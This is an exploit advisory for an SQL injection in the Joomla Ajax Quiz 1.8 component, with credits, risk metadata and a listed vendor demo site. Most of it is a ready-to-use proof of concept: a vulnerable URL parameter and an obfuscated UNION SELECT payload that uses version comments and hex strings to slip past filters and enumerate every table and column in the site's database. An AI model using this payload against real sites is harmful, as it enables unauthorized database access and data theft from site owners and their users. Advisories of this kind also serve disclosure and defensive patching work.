Joomla Ajax Quiz 1.8 SQL Injection

2017.08.22
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# # # # # # Exploit Title: Joomla! Component Ajax Quiz 1.8 - SQL Injection # Dork: N/A # Date: 21.08.2017 # Vendor Homepage: http://webkul.com/ # Software Link: https://extensions.joomla.org/extensions/extension/living/education-a-culture/ajaxquiz/ # Demo: http://joomla30.webkul.com/ajaxquiz/ # Version: 1.8 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/index.php?option=com_ajaxquiz&view=ajaxquiz&cid=[SQL] # # 60+union+select+(/*!00000SeLect*/(@x)/*!00000fRom*/(/*!00000select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!00000select*/(0)/*!00000from*/(information_schema.columns)/*!00000where*/(table_schema=database())and(0x00)in(@x:=/*!00000CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!00000CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number+1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z+1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x)--+- # # Etc.. # # # # #


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